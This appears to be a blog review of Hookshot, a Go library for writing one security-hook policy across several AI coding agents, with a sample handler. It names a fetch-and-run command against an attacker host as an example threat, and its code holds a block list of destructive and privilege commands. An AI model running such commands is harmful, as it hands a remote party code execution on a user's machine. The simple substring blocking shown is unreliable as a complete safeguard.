Hookshot: Writing Security Policies Once for Five AI Coding Agents
Hook
Every major AI coding agent has hooks for security policies, but they all use different JSON schemas and execute at different lifecycle points. If you run Cursor, Claude Code, and Windsurf across your team, you're maintaining three separate implementations of the same 'don't run rm -rf' rule.
Context
AI coding agents have evolved from autocomplete tools into autonomous systems that execute shell commands, modify files, and call external APIs on your behalf. This power creates genuine security risks: an agent might run curl https://attacker.com | bash, modify production configuration files, or leak secrets through MCP tool calls. Every major platform recognized this and shipped hook systems—Claude Code lets you define commands in settings.json, Cursor has hooks.json, Windsurf uses a different schema entirely.
The problem is fragmentation. A security team wanting to enforce 'require approval before database migrations' across their polyglot developer base faces writing the same logic five times in five incompatible formats. Worse, the hooks trigger at semantically equivalent moments (before shell execution, after file edits) but use completely different JSON structures. Before Hookshot, you had two choices: write native hooks for each platform and accept maintenance hell, or standardize on one AI agent and lose developer productivity. This is the exact interoperability problem that Hookshot attacks: a write-once abstraction layer that compiles to a single binary speaking all five dialects.
Technical Insight
Hookshot's architecture is a command-line dispatcher that turns conceptual hook points into subcommands. When Claude Code triggers a 'pre-tool-use' hook, it shells out to hookshot claude-pre-tool-use, pipes platform-specific JSON to stdin, and expects platform-specific JSON on stdout. The binary deserializes this input, routes it through your registered handler function, and serializes the response back. The clever part is the abstraction layer: you write handlers against unified types like OnBeforeExecution, and Hookshot handles the routing.
Here's what a basic security policy looks like:
package main
import (
"fmt"
"strings"
"github.com/CorridorSecurity/hookshot"
)
func main() {
h := hookshot.New()
// This handler runs before ANY shell execution across all platforms
h.OnBeforeExecution(func(ctx hookshot.ExecutionContext) hookshot.ExecutionResponse {
command := ctx.Command
// Block dangerous commands
dangerousPatterns := []string{"rm -rf", "sudo", "curl | bash", "terraform apply"}
for _, pattern := range dangerousPatterns {
if strings.Contains(command, pattern) {
return hookshot.ExecutionResponse{
Allowed: false,
Message: fmt.Sprintf("Blocked dangerous command: %s", pattern),
}
}
}
return hookshot.ExecutionResponse{Allowed: true}
})
// Platform-specific handler for Claude's session tracking
h.Register(hookshot.ClaudeSessionStart, func(ctx hookshot.Context) interface{} {
// Log session metadata only available in Claude
fmt.Printf("Claude session started: %s\n", ctx.Metadata["sessionId"])
return nil
})
h.Run()
}
Compile this once with hookshot build -all, and you get binaries for macOS, Linux, and Windows. Install with hookshot install, and it writes the appropriate configuration to each agent's config file automatically. Now Cursor's beforeShellExecution and Claude's pre-tool-use both route through your single OnBeforeExecution handler.
The execution model is synchronous blocking. When an agent hits a hook point, it spawns your binary as a subprocess, waits for it to exit, and reads the response from stdout. This makes the flow dead simple—no daemon management, no socket communication, just stdin/stdout IPC. The tradeoff is latency: every hook invocation pays process spawn overhead (10-50ms depending on platform). For security decisions like 'should I allow this shell command,' that's acceptable. For high-frequency hooks like tab completion or file watchers, it becomes a bottleneck.
The abstraction reveals its limits when you need platform-specific features. Only Claude has SessionStart hooks. Only Cursor has TabFileRead for completion caching. Hookshot handles this through the Register() escape hatch, which accepts platform-specific hook identifiers and raw context objects. You lose portability but gain access to unique capabilities. The design acknowledges that full abstraction is impossible—it optimizes for the 60-70% of use cases that are conceptually identical across platforms while providing clean fallbacks for the remainder.
The cross-compilation story is stronger than most Go CLIs because the installer knows each platform's config file locations. Running hookshot install on macOS writes to ~/.cursor/hooks.json and ~/.claude/settings.json with the correct absolute path to the binary. This eliminates the biggest deployment friction: manually editing JSON config files is where most hook implementations die. By automating the plumbing, Hookshot makes it realistic to deploy organization-wide policies through standard software distribution (Homebrew, apt repositories, internal package managers).
Gotcha
The process-per-hook model breaks down under high-frequency workloads. If you attach handlers to file edit hooks and an agent refactors 50 files, you're spawning 50 Go processes. On a 2020 MacBook Pro, that's ~750ms of pure overhead before your handler logic runs. There's no daemon mode or persistent process option—this is architecturally baked in. For security use cases (blocking dangerous commands), this is fine. For observability use cases (tracking every agent action for audit logs), you'll need external tooling.
State management is completely absent. If you want to implement a policy like 'allow up to 10 shell commands per session, then require approval,' you need to manage that counter yourself. Hookshot provides no primitives for shared state, persistence, or inter-hook communication. Every handler invocation is isolated. This is fine for stateless allow/deny logic but becomes painful for risk scoring, rate limiting, or cumulative analysis. You'll end up writing to SQLite or Redis from your handlers and accepting the latency hit.
The unified API only covers four conceptual hooks: Stop, BeforeExecution, AfterFileEdit, and PromptSubmit. Each platform has 5-10 additional hooks that don't map cleanly. Claude has 8 hook points, Cursor has 6, and the overlap is smaller than you'd hope. You'll write platform-specific code more often than the marketing suggests. The real value is time-to-deployment for the common cases, not eliminating platform-specific code entirely.
Verdict
Use if you're deploying security policies across a team using multiple AI coding agents and need consistent enforcement without maintaining separate codebases for each platform. This shines in enterprise environments where developers choose their own tools (some use Cursor, others Claude Code) but security requirements are non-negotiable. The installation automation alone saves hours compared to manually editing JSON configs across 50 developer machines. Also use if you're building ACSM (Agentic Coding Security Management) tooling and want first-to-market integration with five platforms. Skip if you only use one AI agent—native hooks will be faster and simpler. Skip if you need sub-10ms latency or high-frequency hook execution (the process model won't scale). Skip if your policies require stateful analysis across multiple hook invocations (no built-in session tracking). And definitely skip if you're optimizing for portability above all else—you'll still write platform-specific handlers for 30-40% of real-world use cases, making the abstraction leakier than it appears.